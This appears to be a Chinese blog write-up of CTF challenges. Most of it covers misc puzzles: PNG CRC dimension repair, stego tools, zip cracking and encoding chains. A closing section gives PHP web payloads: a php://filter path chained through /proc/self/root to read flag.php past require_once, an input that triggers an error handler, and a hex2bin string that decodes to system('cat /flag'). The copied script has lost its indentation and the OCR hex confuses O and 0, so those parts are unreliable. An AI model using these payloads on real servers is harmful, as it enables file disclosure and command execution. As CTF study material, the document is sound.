下载发现是一个凌乱的图片
尝试使用010 Editor(这里为什么使用该编译器,因为改编译器会提示CRC错误)
这里发现CRC报错说明宽或高方面有问题
上网找一个脚本进行宽高的修改
import zlib
import struct
import binascii
file = 'flag_pic (2).png'//只需要将这里的file名改为对应文件名即可
fr = open(file,'rb').read()
data = bytearray(fr[12:29])
crc32key = struct.unpack('>I',fr[29:33])[0]&0xffffffff
print(crc32key)
n = 4096
for w in range(n):
width = bytearray(struct.pack('>i', w))
for h in range(n):
height = bytearray(struct.pack('>i', h))
for x in range(4):
data[x+4] = width[x]
data[x+8] = height[x]
#print(data)
crc32result = zlib.crc32(data)
if crc32result == crc32key:
print(crc32key)
print(width,height)
print(data)
newpic = bytearray(fr)
for x in range(4):
newpic[x+16] = width[x]
newpic[x+20] = height[x]
fw = open(file+'.png','wb')
fw.write(newpic)
fw.close
运行得到正常文件
这里获得的是一个图片这里就呼应了题目用到了OCR
https://uutool.cn/ocr/
377 ABCAF271C000451FCF397500200000000000062000000000000001D9C97C8E004D002485D0022
94A676D2FDE351A055C168F9710364AE2D581126E378F3B4C47E15E2E80B74234B849430A221F40
C086E06B24ADAAC47F32CB62CADD154B50723E65E50CDF99CC2B953916AD2204D70C15FB493BD4C2
E1F93902FB3563190ACEE58CC01621BB2AAAB6EED8CE892FEF5F0927E2C4BCD7C188277D09D03579
95A2FB65D31CD99C853D7BAF52EAD8555920D1672B4A3B713917E98FB324AD225A3FA2AFAC1435FF
E31ED0COCEFOCAOB68COCCCA81C458680D7C75139429D282984933F7ACFDFB127321D9F4EFCOFEAA
E92F985D3C457E90AFBC4DA9D11B23E507A0953036A2EC1D75D69CD1F6A9F0790B1AB02D6C2AFFDF
66A2E7E56A1070FBCD316813E12DF9E26FC4813D419792A65960D4D97EDFA7A978A0385C04CF36EF
DE3B07DF9B9405253EAA838149910F2571FAA4A8E085D1567C5C17C9B3400F91FBFE6B47E052BA07
097C9D77803D3A45E3477FE324603179C7CA6A128CDC0F7E834812618AD4C79934226637E9300C55
95E355139A2ECF661A5F63750A6A0035ACF52417AF3A1C1FEA14471D074C27F81C719D98717F4ECD
32918BD15C18AB93769E94DDEFD3B6FAF4DDD6628BA44BDEF574FCCD5589334EA8063D7B27A2F060
0FC864D010A7F0CEC9B9395434878D01943887194342F9D34FC8F12DD4556ED5A5A36667F9319A03
95DB9A445B94C44771B406F962B1CFC8535BA0D3EE3 DDDEB876C95092AAB192B168A732F3A7B9E81
56C403C583983F5527A0D6C5D6928481D56955474046D9FC17A2DE21F3D6FC4C69644E7C6A141BE9
48A417A33D62C6FF6DFAC702A0FC101748D9A9C64A6A0000010406000109825000070B0100012121
01000C84D100080A0196EAFE6000000501190A000000000000000000001119004400650073007400
3000670033002E00740078007400000019020000140A0100B547E05F6654D8011506010020000000
000000
发现对应的十六进制我们将其放入编辑器
发现是zip文件
解压即可得到一个txt文件
发现中间base64加密密文解密即可获得flag
下载附件发现有好多看不到的数据尝试复制粘贴到记事本发现出现数据
然后就是词汇分析表示摆烂没搞懂
下载附件是一张照片
一张照片还是misc不管三七二十一先zsteg看看有没有隐写内容
发现一个zip密码说明内藏了一个zip文件
所以就在使用binwalk分离一波
反手分离出来
写入zip密码解压即可获得flag
下载附件是个zip文件解压有密码
先来试试伪加密防止搞半天白搞
发现不是伪加密
那就用ziperello暴力破解一下
得出密码位100861
得到一段摩斯密码解密得到十六进制数据
将内容放到编辑器查看获得unicode编码数据
进行转中文
发现又url编码再次解码
获得base64编码再次解码获得flag
下载附件习惯性查看一下16进制
发现xml尝试修改后缀为doc
打开获得一串数据
发现是base64编码的格式
解码获得数据
发现url编码特点解码
发现了brainfuck的特点再次解码
获得十六进制数据放入即可获得flag
没看懂获取tcp后的步骤之后搞懂再补充
下载附件返现doc和rar多进行了加密只有hint没有加密
查看发现这提示掩码攻击
然后就不懂了
下载附件发现有三个文件,一个内容为介绍,一个为空,一个是一个加密的zip
更具介绍和空白想到空白编码上工具
https://vii5ard.github.io/whitespace/
将空白的编码输入进去进行解密
解密获得照片
下载附件名字叫zip那就尝试修改后缀为zip进行解压发现两个文件
查看文档发现是LOLCODE编码尝试运行
https://www.dcode.fr/lolcode-language
网站运行
输入密码解压然后发现还有一个doc文件进去发现是空白摆烂想到题目里面zip改后缀为zip再试试
解压发现fllllll1ag文件打开发现是表情果断解密
https://aghorler.github.io/emoji-aes/
把解压密码带入key尝试解密发现解密不出来
有解不出来摆烂摆烂摆烂然后看到advanced尝试修改发现4时解密成功
解密出来16进制数据进行编译器查看
下载附件发现时一个zip文件名的文件尝试修改后缀位zip
发现得到两个文件都拉进010看看十六进制
在这里插入图片描述
发现一个是png文件一个是7z文件
尝试将png文件进行binwalk分离
获得一个文件夹打开发现一个密码这就想到了flag2里面的压缩包
再看flag2的十六进制的数据发现文件头有问题
正常zip的文件头为377ABCAF
更改另存为zip即可获取
使用刚才的密码即可解压获取到一串数据
发现足有127列猜测是零宽
http://330k.github.io/misc_tools/unicode_steganography.html
网站开解
这里解释后要选择前三个(没有理解为什么要选前三个理解之后再回来写)
发下隐藏的是N-ZA-M对应想到rot13那就再去rot13一波
http://www.mxcz.net/tools/rot13.aspx
一看芜湖base64来了解密解密解密
崩了啊怎么还隐藏四位
只能跑回flag1的照片里面再试试修改后缀为png然后发现磨碎的二维码然后尝试修复
https://merricx.github.io/qrazybox/
表示对该工具不熟悉我尝试拖进去一直拖不进去没法下一步修补之后扫描即可获得中间四位得到完整二维码
方法一
进入靶机查看发现有require_once要绕过该函数(只要包含过一次便不会包含)然后读取flag4的内容
常见的方法就想到了伪协议和多级符号链接的方法结合绕过
这里就要了解/proc/self和/proc/self/root的含义
/proc/self/指当前进程,而/proc/self/root/指’‘/’’
这里如果我们知识使用一些proc/self/root的话最后也会被转化变为正确的路径导致无法绕过,但凡事都有一个上限当我们超过他所能接受的上限就可以导致其无法识别进而无法转换达到绕过的效果
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
下载靶机发现没什么思路那就代码分析一下
"24") or ($timme > "31") or ($timmme > "60")){//条件判断时间超过24小时或者超过31天或者超过60s都是无法实现的
echo $fl4g;
}else{
echo "Try harder!";
}
set_error_handler(//该函数用我的理解就是自己设置报错方式
function() use(&$fl4g) {
print $fl4g;
}
);
$fl4g .= $dest0g3;
?> Try harder!
由于上面if语句根本不可能实现
所以我们就要尝试利用函数set_error_hander进行报错输出
ctf[]=123
一进去就看到一堆过滤词汇直接奔溃
然后看代码发现str_replace函数一般该函数都是用hex2bin()进行绕过同时发现’()‘和单引号没有过滤那就肯定了这一做法
hex2bin的用法大家可以自行百度
然后绕过机制就为post传入aaa=hex2bin(‘73797374656d’)(hex2bin(‘636174202f666c6167’));//system(cat /flag)